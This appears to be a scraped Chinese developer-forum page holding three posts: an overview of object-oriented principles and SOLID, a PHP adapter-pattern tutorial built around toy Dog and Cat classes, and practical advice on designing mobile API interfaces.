设计模式:面向对象设计模式(OOP)

zkbhj 发表了文章 • 0 个评论 • 2298 次浏览 • 2018-03-01 10:26 • 来自相关话题

首先我们来看下官方的定义。在维基百科上说:

  面向对象程序设计(英语:Object-oriented programming,缩写:OOP)是种具有对象概念的程序编程范型,同时也是一种程序开发的抽象方针。它可能包含数据、属性、代码与方法。对象则指的是类的实例。它将对象作为程序的基本单元,将程序和数据封装其中,以提高软件的重用性、灵活性和扩展性,对象里的程序可以访问及经常修改对象相关连的数据。在面向对象程序编程里,计算机程序会被设计成彼此相关的对象

 
要理解什么是面向对象,我们就先要知道什么是面向过程。

面向过程:就是将要实现一个功能所需要的步骤一步一步的写出来出来,要做到面面俱到、有条不絮。

 
面向对象设计的三个基本要素

面向对象的三个基本特征是:封装、继承、多态。


1·封装性

封装性是一种信息隐蔽技术,他体现于类的说明,是对象重要的特性。封装使得数据和操作数据的方法封装为一个整体,想成独立性很强的模块,使得用户只能看到对象的外部特性(对象可以接受拿些信息,可以进行何种处理),而对象的内部特性(内部私有属性和实现处理能力的算法)用户是看不到的。简而言之就是说,封装使对象的设计者与对象的使用者分开,使用者只要知道对象可以做什么就可以了,无需知道具体是怎么实现的。借助封装有助于提高类和系统的安全性。

2·继承性

继承是一种由已有类创建子类的机制,利用继承,可以先创建一个共有属性的一般类,根据这个类再创建具有特殊属性的子类,被继承的类成为父类,当然子类也可以成为父类来继续向下扩展。

3·多态性

同一个信息被不同的对象接收到时可能产生不同的行为,这就是多态性。有继承(接口)有重写,父类引用指向子类对象,就会产生多态。多态可以改善程序的组织架构,提高程序的可扩展性。

面向对象设计的五个基本设计原则

单一职责原则(SRP)、开放封闭原则(OCP)、Liskov替换原则(LSP)、依赖倒置原则(DIP)、接口隔离原则(ISP)


1·单一职责原则(Single-Responsibility Principle)

其核心思想为:一个类只做一件事情,只有一个引起他的变化。单一职责原则可以看做是低耦合,高内聚在面向对象原则上的隐身,将职责定义为引起变化的原因,以提高内举行来减少引起变化的原因。职责过多可能引起他变化的原因也就越多,这将导致职责依赖,相互之间产生影响,从而大大损伤内聚性和耦合度。单一职责就是指,只有一种单一的功能,不要为类实现过多的功能点,有些功能可以定义为接口来实现,以保证只有一个引起他变化的原因。
专注是一个人优良的品质。同样的,单一也是一个类的优良设计,杂交不清的职责将使得代码看起来特别别扭,牵一发动全身,有失没敢和必然导致丑陋的系统错误风险。

2·开放封闭原则(Open-Closeed Principle)

其核心思想是:软件实体应该是可扩展的,而不可修改的。也就是,对扩展开放,对修改封闭。开放封闭原则主要体现在两个方面
1、对扩展开放,意味着有新的需求或者变化时,可以对现有代码进行扩展,以适应新的情况。
2、对修改封闭,意味着一旦设计完成,就可以独立完成其工作,而不要对其进行任何尝试的修改。
实现开放封闭原则的核心思想就是对抽象编程,而不是具体编程,因为抽象相对稳定。让类依赖于固定的抽象类或者接口,所以修改就是封闭的。而通多面向对象的继承和多态机制,又可以继承抽象类或者实现接口,通过重写其方法来改变固有的行为,实现方法新的拓展,所以就是开放的。
需求总是变化的,没有不变的软件,所以就需要用OCP来封闭变化,满足需求,同时还能保持软件内部的封装体系的稳定,不被需求的变化影响。

3·里氏替换原则(Liskov-Substituion Principle)

核心思想:子类必须能够替换其父类。这一思想体现为对继承机制的约束规范,只有子类能够替换父类时才能保证系统在运行期内识别子类,这是保证继承复用的基础。在父类和子类的具体行为中,必须严格把握继承层次中的关系和特征,将父类替换为子类,程序的行为不会发生任何变化。同时,这一约束反过来则是不成立的,子类可以替换父类,但是父类不一定能替换子类。
Liskov替换原则,主要着眼于对抽象和多态建立在继承的基础上,因此只有遵循了Liskov替换原则,才能保证继承复用是可靠地。实现的方法是面向接口编程:将公共部分抽象为基类接口或抽象类,通过Extract Abstract Class,在子类中通过覆写父类的方法实现新的方式支持同样的职责。
Liskov替换原则是关于继承机制的设计原则,违反了Liskov替换原则就必然导致违反开放封闭原则。
Liskov替换原则能够保证系统具有良好的拓展性,同时实现基于多态的抽象机制,能够减少代码冗余,避免运行期的类型判别。

4·依赖倒置原则(Dependecy-Inversion Principle)

其核心思想是:依赖于抽象。具体而言就是高层模块不依赖于底层模块,二者都同依赖于抽象;抽象不依赖于具体,具体依赖于抽象。
我们知道,依赖一定会存在于类与类、模块与模块之间。当两个模块之间存在紧密的耦合关系时,最好的方法就是分离接口和实现:在依赖之间定义一个抽象的接口使得高层模块调用接口,而底层模块实现接口的定义,以此来有效控制耦合关系,达到依赖于抽象的设计目标。
抽象的稳定性决定了系统的稳定性,因为抽象是不变的,依赖于抽象是面向对象设计的精髓,也是依赖倒置原则的核心。
依赖于抽象是一个通用的原则,而某些时候依赖于细节则是在所难免的,必须权衡在抽象和具体之间的取舍,方法不是不变的。依赖于抽象,就是对接口编程,不要对实现编程。

5·接口隔离原则(Interface-Segregation Principle)

其核心思想是:使用多个小的专门的接口,而不要使用一个大的总接口。
具体而言,接口隔离原则体现在:接口应该是内聚的,应该避免“胖”接口。一个类对另外一个类的依赖应该建立在最小的接口上,不要强迫依赖不用的方法,这是一种接口污染。
接口有效地将细节和抽象隔离,体现了对抽象编程的一切好处,接口隔离强调接口的单一性。而胖接口存在明显的弊端,会导致实现的类型必须完全实现接口的所有方法、属性等;而某些时候,实现类型并非需要所有的接口定义,在设计上这是“浪费”,而且在实施上这会带来潜在的问题,对胖接口的修改将导致一连串的客户端程序需要修改,有时候这是一种灾难。在这种情况下,将胖接口分解为多个特点的定制化方法,使得客户端仅仅依赖于它们的实际调用的方法,从而解除了客户端不会依赖于它们不用的方法。
分离的手段主要有以下两种:1、委托分离,通过增加一个新的类型来委托客户的请求,隔离客户和接口的直接依赖,但是会增加系统的开销。2、多重继承分离,通过接口多继承来实现客户的需求,这种方式是较好的。 查看全部
首先我们来看下官方的定义。在维基百科上说:


  面向对象程序设计(英语:Object-oriented programming,缩写:OOP)是种具有对象概念的程序编程范型,同时也是一种程序开发的抽象方针。它可能包含数据、属性、代码与方法。对象则指的是类的实例。它将对象作为程序的基本单元,将程序和数据封装其中,以提高软件的重用性、灵活性和扩展性,对象里的程序可以访问及经常修改对象相关连的数据。在面向对象程序编程里,计算机程序会被设计成彼此相关的对象


 
要理解什么是面向对象,我们就先要知道什么是面向过程。


面向过程:就是将要实现一个功能所需要的步骤一步一步的写出来出来,要做到面面俱到、有条不絮。


 
面向对象设计的三个基本要素


面向对象的三个基本特征是:封装、继承、多态。



1·封装性

封装性是一种信息隐蔽技术,他体现于类的说明,是对象重要的特性。封装使得数据和操作数据的方法封装为一个整体,想成独立性很强的模块,使得用户只能看到对象的外部特性(对象可以接受拿些信息,可以进行何种处理),而对象的内部特性(内部私有属性和实现处理能力的算法)用户是看不到的。简而言之就是说,封装使对象的设计者与对象的使用者分开,使用者只要知道对象可以做什么就可以了,无需知道具体是怎么实现的。借助封装有助于提高类和系统的安全性。

2·继承性

继承是一种由已有类创建子类的机制,利用继承,可以先创建一个共有属性的一般类,根据这个类再创建具有特殊属性的子类,被继承的类成为父类,当然子类也可以成为父类来继续向下扩展。

3·多态性

同一个信息被不同的对象接收到时可能产生不同的行为,这就是多态性。有继承(接口)有重写,父类引用指向子类对象,就会产生多态。多态可以改善程序的组织架构,提高程序的可扩展性。

面向对象设计的五个基本设计原则


单一职责原则(SRP)、开放封闭原则(OCP)、Liskov替换原则(LSP)、依赖倒置原则(DIP)、接口隔离原则(ISP)



1·单一职责原则(Single-Responsibility Principle)

其核心思想为:一个类只做一件事情,只有一个引起他的变化。单一职责原则可以看做是低耦合,高内聚在面向对象原则上的隐身,将职责定义为引起变化的原因,以提高内举行来减少引起变化的原因。职责过多可能引起他变化的原因也就越多,这将导致职责依赖,相互之间产生影响,从而大大损伤内聚性和耦合度。单一职责就是指,只有一种单一的功能,不要为类实现过多的功能点,有些功能可以定义为接口来实现,以保证只有一个引起他变化的原因。
专注是一个人优良的品质。同样的,单一也是一个类的优良设计,杂交不清的职责将使得代码看起来特别别扭,牵一发动全身,有失没敢和必然导致丑陋的系统错误风险。

2·开放封闭原则(Open-Closeed Principle)

其核心思想是:软件实体应该是可扩展的,而不可修改的。也就是,对扩展开放,对修改封闭。开放封闭原则主要体现在两个方面
1、对扩展开放,意味着有新的需求或者变化时,可以对现有代码进行扩展,以适应新的情况。
2、对修改封闭,意味着一旦设计完成,就可以独立完成其工作,而不要对其进行任何尝试的修改。
实现开放封闭原则的核心思想就是对抽象编程,而不是具体编程,因为抽象相对稳定。让类依赖于固定的抽象类或者接口,所以修改就是封闭的。而通多面向对象的继承和多态机制,又可以继承抽象类或者实现接口,通过重写其方法来改变固有的行为,实现方法新的拓展,所以就是开放的。
需求总是变化的,没有不变的软件,所以就需要用OCP来封闭变化,满足需求,同时还能保持软件内部的封装体系的稳定,不被需求的变化影响。

3·里氏替换原则(Liskov-Substituion Principle)

核心思想:子类必须能够替换其父类。这一思想体现为对继承机制的约束规范,只有子类能够替换父类时才能保证系统在运行期内识别子类,这是保证继承复用的基础。在父类和子类的具体行为中,必须严格把握继承层次中的关系和特征,将父类替换为子类,程序的行为不会发生任何变化。同时,这一约束反过来则是不成立的,子类可以替换父类,但是父类不一定能替换子类。
Liskov替换原则,主要着眼于对抽象和多态建立在继承的基础上,因此只有遵循了Liskov替换原则,才能保证继承复用是可靠地。实现的方法是面向接口编程:将公共部分抽象为基类接口或抽象类,通过Extract Abstract Class,在子类中通过覆写父类的方法实现新的方式支持同样的职责。
Liskov替换原则是关于继承机制的设计原则,违反了Liskov替换原则就必然导致违反开放封闭原则。
Liskov替换原则能够保证系统具有良好的拓展性,同时实现基于多态的抽象机制,能够减少代码冗余,避免运行期的类型判别。

4·依赖倒置原则(Dependecy-Inversion Principle)

其核心思想是:依赖于抽象。具体而言就是高层模块不依赖于底层模块,二者都同依赖于抽象;抽象不依赖于具体,具体依赖于抽象。
我们知道,依赖一定会存在于类与类、模块与模块之间。当两个模块之间存在紧密的耦合关系时,最好的方法就是分离接口和实现:在依赖之间定义一个抽象的接口使得高层模块调用接口,而底层模块实现接口的定义,以此来有效控制耦合关系,达到依赖于抽象的设计目标。
抽象的稳定性决定了系统的稳定性,因为抽象是不变的,依赖于抽象是面向对象设计的精髓,也是依赖倒置原则的核心。
依赖于抽象是一个通用的原则,而某些时候依赖于细节则是在所难免的,必须权衡在抽象和具体之间的取舍,方法不是不变的。依赖于抽象,就是对接口编程,不要对实现编程。

5·接口隔离原则(Interface-Segregation Principle)

其核心思想是:使用多个小的专门的接口,而不要使用一个大的总接口。
具体而言,接口隔离原则体现在:接口应该是内聚的,应该避免“胖”接口。一个类对另外一个类的依赖应该建立在最小的接口上,不要强迫依赖不用的方法,这是一种接口污染。
接口有效地将细节和抽象隔离,体现了对抽象编程的一切好处,接口隔离强调接口的单一性。而胖接口存在明显的弊端,会导致实现的类型必须完全实现接口的所有方法、属性等;而某些时候,实现类型并非需要所有的接口定义,在设计上这是“浪费”,而且在实施上这会带来潜在的问题,对胖接口的修改将导致一连串的客户端程序需要修改,有时候这是一种灾难。在这种情况下,将胖接口分解为多个特点的定制化方法,使得客户端仅仅依赖于它们的实际调用的方法,从而解除了客户端不会依赖于它们不用的方法。
分离的手段主要有以下两种:1、委托分离,通过增加一个新的类型来委托客户的请求,隔离客户和接口的直接依赖,但是会增加系统的开销。2、多重继承分离,通过接口多继承来实现客户的需求,这种方式是较好的。

PHP设计模式之:适配器模式

zkbhj 发表了文章 • 0 个评论 • 1724 次浏览 • 2018-01-29 11:15 • 来自相关话题

在这个有没有对象都要高呼“面向对象”的年代,掌握面向对象会给我们带来意想不到的方便。学编程的小伙伴从开始能写几行代码实现简单功能到后来懂得将一些重复的操作组合起来形成一个“函数”,再到后来将“函数”和属性组合起来形成一个“类”。一步步走来,我们在考虑着机器运行代码效率的提高的同时也在考虑减轻程序员的工作量。 那么我们今天讲到的适配器模型更着重考虑的是什么呢?

是程序员工作量。

 




什么时候会用到适配器模式?

其实最简单的例子是当我们引用一个第三方类库。这个类库随着版本的改变,它提供的API也可能会改变。如果很不幸的是,你的应用里引用的某个API已经发生改变的时候,除了在心中默默地骂“wocao”之外,你还得去硬着头皮去改大量的代码。 

难道真的一定要如此吗?按照套路来说,我会回答“不是的”。我们有适配器模式啊~~  

当接口发生改变时,适配器模式就派上了用场。

举个栗子

如果通过上面的简单描述,你都能懂,那在下只能佩服你的领悟能力超群了。一般人一定还是不知所云。为了方便理解,我引用一位博友的例子。原文地址。

一开始的和谐


黑枣玩具公司专门生产玩具,生产的玩具不限于狗、猫、狮子,鱼等动物。每个玩具都可以进行“张嘴”与“闭嘴”操作,分别调用了openMouth与closeMouth方法。

在这个时候,我们很容易想到可以第一定义一个抽象类Toy,甚至是接口Toy,这些问题不大,其他的类去继承父类,实现父类的方法。一片和谐,欣欣向荣。

平衡的破坏

    为了扩大业务,现在黑枣玩具公司与红枣遥控公司合作,红枣遥控公司可以使用遥控设备对动物进行嘴巴控制。不过红枣遥控公司的遥控设备是调用的动物的doMouthOpen及doMouthClose方法。黑枣玩具公司的程序员现在必须要做的是对Toy系列类进行升级改造,使Toy能调用doMouthOpen及doMouthClose方法。

考虑实现的方法时,我们很直接地想到,你需要的话我再在我的父类子类里给你添加这么两个方法就好啦。当你一次又一次在父类子类里面重复添加着这两个方法的时候,总会想着如此重复的工作,难道不能解决么?当有数百个子类的时候,程序员会改疯的。程序员往往比的是谁在不影响效率的时候更会“偷懒”。这样做下去程序员会觉得自己很傻。(其实我经常当这样的傻子)abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();

//为红枣遥控公司控制接口增加doMouthOpen方法
public abstract function doMouthOpen();

//为红枣遥控公司控制接口增加doMouthClose方法
public abstract function doMouthClose();
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog open Mouth\n";
}

//增加的方法
public function doMouthOpen()
{
$this->doMouthOpen();
}

//增加的方法
public function doMouthClose()
{
$this->closeMouth();
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat open Mouth\n";
}

//增加的方法
public function doMouthOpen()
{
$this->doMouthOpen();
}

//增加的方法
public function doMouthClose()
{
$this->closeMouth();
}
}更加烦躁

程序员刚刚码完代码,喝了口水,突然间另一个消息传来。

黑枣玩具公司也要与绿枣遥控公司合作,因为绿枣遥控公司遥控设备更便宜稳定。不过绿枣遥控公司的遥控设备是调用的动物的operMouth(type)方法来实现嘴巴控制。如果type)方法来实现嘴巴控制。如果type为0则“闭嘴”,反之张嘴。

这下好了,程序员又得对Toy及其子类进行升级,使Toy能调用operMouth()方法。搁谁都不淡定了。abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();

public abstract function doMouthOpen();

public abstract function doMouthClose();

//为绿枣遥控公司控制接口增加doMouthClose方法
public abstract function operateMouth($type = 0);
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog open Mouth\n";
}

public function doMouthOpen()
{
$this->doMouthOpen();
}

public function doMouthClose()
{
$this->closeMouth();
}

public function operateMouth($type = 0)
{
if ($type == 0) {
$this->closeMouth();
} else {
$this->operateMouth();
}
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat open Mouth\n";
}

public function doMouthOpen()
{
$this->doMouthOpen();
}

public function doMouthClose()
{
$this->closeMouth();
}

public function operateMouth($type = 0)
{
if ($type == 0) {
$this->closeMouth();
} else {
$this->operateMouth();
}
}
}在这个时候,程序员必须要动脑子想办法了,就算自己勤快,万一哪天紫枣青枣黄枣山枣这些遥控公司全来的时候,忽略自己不断增多的工作量不说,这个Toy类可是越来越大,总有一天程序员不崩溃,系统也会崩溃。

问题在出在哪里呢?

像上面那样编写代码,代码实现违反了“开-闭”原则,一个软件实体应当对扩展开放,对修改关闭。即在设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展。也就是说每个尸体都是一个小王国,你让我参与你的事情这个可以,但你不能修改我的内部,除非我的内部代码确实可以优化。

在这种想法下,我们懂得了如何去用继承,如何利用多态,甚至如何实现“高内聚,低耦合”。

回到这个问题,我们现在面临这么一个问题,新的接口方法我要实现,旧的接口(Toy抽象类)也不能动,那么总得有个解决方法吧。那就是引入一个新的类--我们本文的主角--适配器。  适配器要完成的功能很明确,引用现有接口的方法实现新的接口的方法。更像它名字描述的那样,你的接口不改的话,我就利用现有接口和你对接一下吧。 

到此,解决方法已经呼之欲出了,下面贴上代码。<?php
abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog close Mouth\n";
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat close Mouth\n";
}
}


//目标角色:红枣遥控公司
interface RedTarget
{
public function doMouthOpen();

public function doMouthClose();
}

//目标角色:绿枣遥控公司及
interface GreenTarget
{
public function operateMouth($type = 0);
}


//类适配器角色:红枣遥控公司
class RedAdapter implements RedTarget
{
private $adaptee;

function __construct(Toy $adaptee)
{
$this->adaptee = $adaptee;
}

//委派调用Adaptee的sampleMethod1方法
public function doMouthOpen()
{
$this->adaptee->openMouth();
}

public function doMouthClose()
{
$this->adaptee->closeMouth();
}
}

//类适配器角色:绿枣遥控公司
class GreenAdapter implements GreenTarget
{
private $adaptee;

function __construct(Toy $adaptee)
{
$this->adaptee = $adaptee;
}

//委派调用Adaptee:GreenTarget的operateMouth方法
public function operateMouth($type = 0)
{
if ($type) {
$this->adaptee->openMouth();
} else {
$this->adaptee->closeMouth();
}
}
}



class testDriver
{
public function run()
{
//实例化一只狗玩具
$adaptee_dog = new Dog();
echo "给狗套上红枣适配器\n";
$adapter_red = new RedAdapter($adaptee_dog);
//张嘴
$adapter_red->doMouthOpen();
//闭嘴
$adapter_red->doMouthClose();
echo "给狗套上绿枣适配器\n";
$adapter_green = new GreenAdapter($adaptee_dog);
//张嘴
$adapter_green->operateMouth(1);
//闭嘴
$adapter_green->operateMouth(0);
}
}

$test = new testDriver();
$test->run();
 最后的结果就是,Toy类及其子类在不改变自身的情况下,通过适配器实现了不同的接口。

最后总结

将一个类的接口转换成客户希望的另外一个接口,使用原本不兼容的而不能在一起工作的那些类可以在一起工作.

适配器模式核心思想:把对某些相似的类的操作转化为一个统一的“接口”(这里是比喻的说话)--适配器,或者比喻为一个“界面”,统一或屏蔽了那些类的细节。适配器模式还构造了一种“机制”,使“适配”的类可以很容易的增减,而不用修改与适配器交互的代码,符合“减少代码间耦合”的设计原则。

      以上 查看全部
在这个有没有对象都要高呼“面向对象”的年代,掌握面向对象会给我们带来意想不到的方便。学编程的小伙伴从开始能写几行代码实现简单功能到后来懂得将一些重复的操作组合起来形成一个“函数”,再到后来将“函数”和属性组合起来形成一个“类”。一步步走来,我们在考虑着机器运行代码效率的提高的同时也在考虑减轻程序员的工作量。 那么我们今天讲到的适配器模型更着重考虑的是什么呢?


是程序员工作量。


 
timg_(4).jpg


什么时候会用到适配器模式?

其实最简单的例子是当我们引用一个第三方类库。这个类库随着版本的改变,它提供的API也可能会改变。如果很不幸的是,你的应用里引用的某个API已经发生改变的时候,除了在心中默默地骂“wocao”之外,你还得去硬着头皮去改大量的代码。 

难道真的一定要如此吗?按照套路来说,我会回答“不是的”。我们有适配器模式啊~~  

当接口发生改变时,适配器模式就派上了用场。

举个栗子

如果通过上面的简单描述,你都能懂,那在下只能佩服你的领悟能力超群了。一般人一定还是不知所云。为了方便理解,我引用一位博友的例子。原文地址

一开始的和谐


黑枣玩具公司专门生产玩具,生产的玩具不限于狗、猫、狮子,鱼等动物。每个玩具都可以进行“张嘴”与“闭嘴”操作,分别调用了openMouth与closeMouth方法。

在这个时候,我们很容易想到可以第一定义一个抽象类Toy,甚至是接口Toy,这些问题不大,其他的类去继承父类,实现父类的方法。一片和谐,欣欣向荣。

平衡的破坏

    为了扩大业务,现在黑枣玩具公司与红枣遥控公司合作,红枣遥控公司可以使用遥控设备对动物进行嘴巴控制。不过红枣遥控公司的遥控设备是调用的动物的doMouthOpen及doMouthClose方法。黑枣玩具公司的程序员现在必须要做的是对Toy系列类进行升级改造,使Toy能调用doMouthOpen及doMouthClose方法。

考虑实现的方法时,我们很直接地想到,你需要的话我再在我的父类子类里给你添加这么两个方法就好啦。当你一次又一次在父类子类里面重复添加着这两个方法的时候,总会想着如此重复的工作,难道不能解决么?当有数百个子类的时候,程序员会改疯的。程序员往往比的是谁在不影响效率的时候更会“偷懒”。这样做下去程序员会觉得自己很傻。(其实我经常当这样的傻子)
abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();

//为红枣遥控公司控制接口增加doMouthOpen方法
public abstract function doMouthOpen();

//为红枣遥控公司控制接口增加doMouthClose方法
public abstract function doMouthClose();
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog open Mouth\n";
}

//增加的方法
public function doMouthOpen()
{
$this->doMouthOpen();
}

//增加的方法
public function doMouthClose()
{
$this->closeMouth();
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat open Mouth\n";
}

//增加的方法
public function doMouthOpen()
{
$this->doMouthOpen();
}

//增加的方法
public function doMouthClose()
{
$this->closeMouth();
}
}
更加烦躁

程序员刚刚码完代码,喝了口水,突然间另一个消息传来。

黑枣玩具公司也要与绿枣遥控公司合作,因为绿枣遥控公司遥控设备更便宜稳定。不过绿枣遥控公司的遥控设备是调用的动物的operMouth(type)方法来实现嘴巴控制。如果type)方法来实现嘴巴控制。如果type为0则“闭嘴”,反之张嘴。

这下好了,程序员又得对Toy及其子类进行升级,使Toy能调用operMouth()方法。搁谁都不淡定了。
abstract class Toy  
{
public abstract function openMouth();

public abstract function closeMouth();

public abstract function doMouthOpen();

public abstract function doMouthClose();

//为绿枣遥控公司控制接口增加doMouthClose方法
public abstract function operateMouth($type = 0);
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog open Mouth\n";
}

public function doMouthOpen()
{
$this->doMouthOpen();
}

public function doMouthClose()
{
$this->closeMouth();
}

public function operateMouth($type = 0)
{
if ($type == 0) {
$this->closeMouth();
} else {
$this->operateMouth();
}
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat open Mouth\n";
}

public function doMouthOpen()
{
$this->doMouthOpen();
}

public function doMouthClose()
{
$this->closeMouth();
}

public function operateMouth($type = 0)
{
if ($type == 0) {
$this->closeMouth();
} else {
$this->operateMouth();
}
}
}
在这个时候,程序员必须要动脑子想办法了,就算自己勤快,万一哪天紫枣青枣黄枣山枣这些遥控公司全来的时候,忽略自己不断增多的工作量不说,这个Toy类可是越来越大,总有一天程序员不崩溃,系统也会崩溃。

问题在出在哪里呢?

像上面那样编写代码,代码实现违反了“开-闭”原则一个软件实体应当对扩展开放,对修改关闭。即在设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展。也就是说每个尸体都是一个小王国,你让我参与你的事情这个可以,但你不能修改我的内部,除非我的内部代码确实可以优化。

在这种想法下,我们懂得了如何去用继承,如何利用多态,甚至如何实现“高内聚,低耦合”。

回到这个问题,我们现在面临这么一个问题,新的接口方法我要实现,旧的接口(Toy抽象类)也不能动,那么总得有个解决方法吧。那就是引入一个新的类--我们本文的主角--适配器。  适配器要完成的功能很明确,引用现有接口的方法实现新的接口的方法。更像它名字描述的那样,你的接口不改的话,我就利用现有接口和你对接一下吧。 

到此,解决方法已经呼之欲出了,下面贴上代码。
<?php
abstract class Toy
{
public abstract function openMouth();

public abstract function closeMouth();
}

class Dog extends Toy
{
public function openMouth()
{
echo "Dog open Mouth\n";
}

public function closeMouth()
{
echo "Dog close Mouth\n";
}
}

class Cat extends Toy
{
public function openMouth()
{
echo "Cat open Mouth\n";
}

public function closeMouth()
{
echo "Cat close Mouth\n";
}
}


//目标角色:红枣遥控公司
interface RedTarget
{
public function doMouthOpen();

public function doMouthClose();
}

//目标角色:绿枣遥控公司及
interface GreenTarget
{
public function operateMouth($type = 0);
}


//类适配器角色:红枣遥控公司
class RedAdapter implements RedTarget
{
private $adaptee;

function __construct(Toy $adaptee)
{
$this->adaptee = $adaptee;
}

//委派调用Adaptee的sampleMethod1方法
public function doMouthOpen()
{
$this->adaptee->openMouth();
}

public function doMouthClose()
{
$this->adaptee->closeMouth();
}
}

//类适配器角色:绿枣遥控公司
class GreenAdapter implements GreenTarget
{
private $adaptee;

function __construct(Toy $adaptee)
{
$this->adaptee = $adaptee;
}

//委派调用Adaptee:GreenTarget的operateMouth方法
public function operateMouth($type = 0)
{
if ($type) {
$this->adaptee->openMouth();
} else {
$this->adaptee->closeMouth();
}
}
}



class testDriver
{
public function run()
{
//实例化一只狗玩具
$adaptee_dog = new Dog();
echo "给狗套上红枣适配器\n";
$adapter_red = new RedAdapter($adaptee_dog);
//张嘴
$adapter_red->doMouthOpen();
//闭嘴
$adapter_red->doMouthClose();
echo "给狗套上绿枣适配器\n";
$adapter_green = new GreenAdapter($adaptee_dog);
//张嘴
$adapter_green->operateMouth(1);
//闭嘴
$adapter_green->operateMouth(0);
}
}

$test = new testDriver();
$test->run();

 最后的结果就是,Toy类及其子类在不改变自身的情况下,通过适配器实现了不同的接口。

最后总结

将一个类的接口转换成客户希望的另外一个接口,使用原本不兼容的而不能在一起工作的那些类可以在一起工作.

适配器模式核心思想:把对某些相似的类的操作转化为一个统一的“接口”(这里是比喻的说话)--适配器,或者比喻为一个“界面”,统一或屏蔽了那些类的细节。适配器模式还构造了一种“机制”,使“适配”的类可以很容易的增减,而不用修改与适配器交互的代码,符合“减少代码间耦合”的设计原则。

      以上

API接口设计需要注意问题

zkbhj 发表了文章 • 0 个评论 • 1526 次浏览 • 2018-01-15 10:39 • 来自相关话题

总结一下API接口开发过程中的注意事项

1、跨平台性

所谓跨平台是指我们的接口要能够支持不同的终端,比如Android、iOS、windowsphone以及桌面软件、网站等。如:不同的终端每页显示的记录数不同

采用通用的解决方案,比如通信协议就采用最常用的HTTP协议,如果是即时通信,可以采用开放的XMPP协议,做游戏的可以采用可靠的TCP协议,除非TCP不够用了,再采用定制的UDP协议。
数据交换采用xml或者json格式或者webservice等等。总之,要达到的目标就是让不同的端能够很方便的使用你的接口。

2、良好的响应速度

接口应该以最快的速度将数据返回给请求者,要达到的目标就是快,一个页面,秒开最好,超过三秒就需要找找原因了。数据量按需分配,APP客户端需要什么数据就返回什么数据,过多的数据量影响处理速度,最重要的是影响传输效率

3、接口要为移动客户端考虑

比如,在移动端里,下拉刷新和上拉加载更多是很常见的功能,如果接口仍然按照传统的web思路,只提供按页读取的话,就会造成移动端的额外的数据请求和计算。 这时,接口就应该针对这两种类型的操作提供额外的支持。

4、考虑移动端的网络情况和耗电量
如果让我们说出哪类app比较好,可能还不大好说,但是如果让我们说出哪些app很差,我们肯定会说出那些体积很大、占用内存多、界面很卡、费电的app 不好。对于网络情况,接口应该具备为不同的网络提供不同的内容的能力如果我们能够知道用户的网络情况,只有在wifi的情况下才给用户传输封面图、缩略图 之类的,是不是可以帮用户节省很多流量呢

 5、通用的数据交换格式

目前,对于接口和客户端的数据交换格式,基本上就是三种,xml和json和webservice,而现在使用json的应该占大多数最麻烦的就是处理Date类型,因为JSON本身没有Date类型,因此,JSON库将Date类型的数据序列化时会转为String。这时,不同环境, 不同平台,以及用不同的JSON解析库,转换后的结果经常会不同。比如,你在开发机上可能得到的结果是”2016-1-1 17:11:11”,但放到服务器后结果却变成了“Jan 1,2016 5:11:11 PM” ,客户端进行反序列化时无疑会失败。后来,我取消了所有Date类型,统一采用时间戳表示,就再没有转化的烦恼了。 另外,接口的开发人员有时候会将一些数据错误地转换为了String,导致客户端使用时因类型错误而异常。例如,本来是数字的1,被转成 了"1",客户端做运算时就会出错,或用switch判断时也会出错,或其他无法转换的情况发生时;例如,为空时JSON正确地表示应该是null,但如 果转为了String就变成了"null",那问题就来了,我遇到的因为这个错误的转换导致的程序奔溃已经好几次了,第一次的时候,查了一整天才定位到问题所在


6、接口统计功能

在做PC端网站的时候,我们都会给我们的网站加上个统计功能,要么自己写统计系统,要么使用第三方的比如GA
移动端接口API则需要我们自己实现统计功能,这时就需要我们尽可能多的收集客户端的信息,除了传统的IP、User-Agent之外,还应该收集一些移动 相关的信息,比如手机操作系统,是android还是ios,都是什么版本,用户使用的网络状况,是2G、3G、4G还是WIFI。客户端APP是什么版 本信息。

7、客户端与服务端的肥瘦平衡

在移动开发中,由于客户端的修改会很费时费力,特 别是IOS应用还要经过Apple审核,另外,当前IOS开发人员、Android开发人员的人工成本普遍较高,人才紧缺,基于这两点,能在服务器端实现 的功能就不要放在客户端,毕竟服务器端程序的修改要比客户端方便、灵活、快捷的多。

8、隐式用户与显式用户

显式用户指的是,APP程序中有用户系统,一个username、password正确的合法用户,称之为显式的用户,通常显式用户都需要注册,登录以后能完成一些个人相关的操作。
隐式用户指的是,APP程序本身就没有用户系统,或者一个在没有登录的情况下,使用我们APP的用户。
在这种情况下,可以通过客户端生成的UDID来标识一个用户。
有了用户信息,我们就能够了解不同用户的使用习惯,而不仅仅是全体用户的一个整体的统计信息,
有了这些个体的信息之后,就可以做一些用户分群、个性化推荐之类的事情。

9、安全问题
设计API第一个需要考虑的是API的安全机制。我负责的上一个项目,因为API的安全问题,就被人攻击了两次。之后经过分析,主要存在两个漏洞: 一是因 为缺少对调用者进行安全验证的方式,二是因为数据传输不够安全。那么,制定API的安全机制,主要就是为了解决这两个问题:
保证API的调用者是经过自己授权的App;保证数据传输的安全。
 
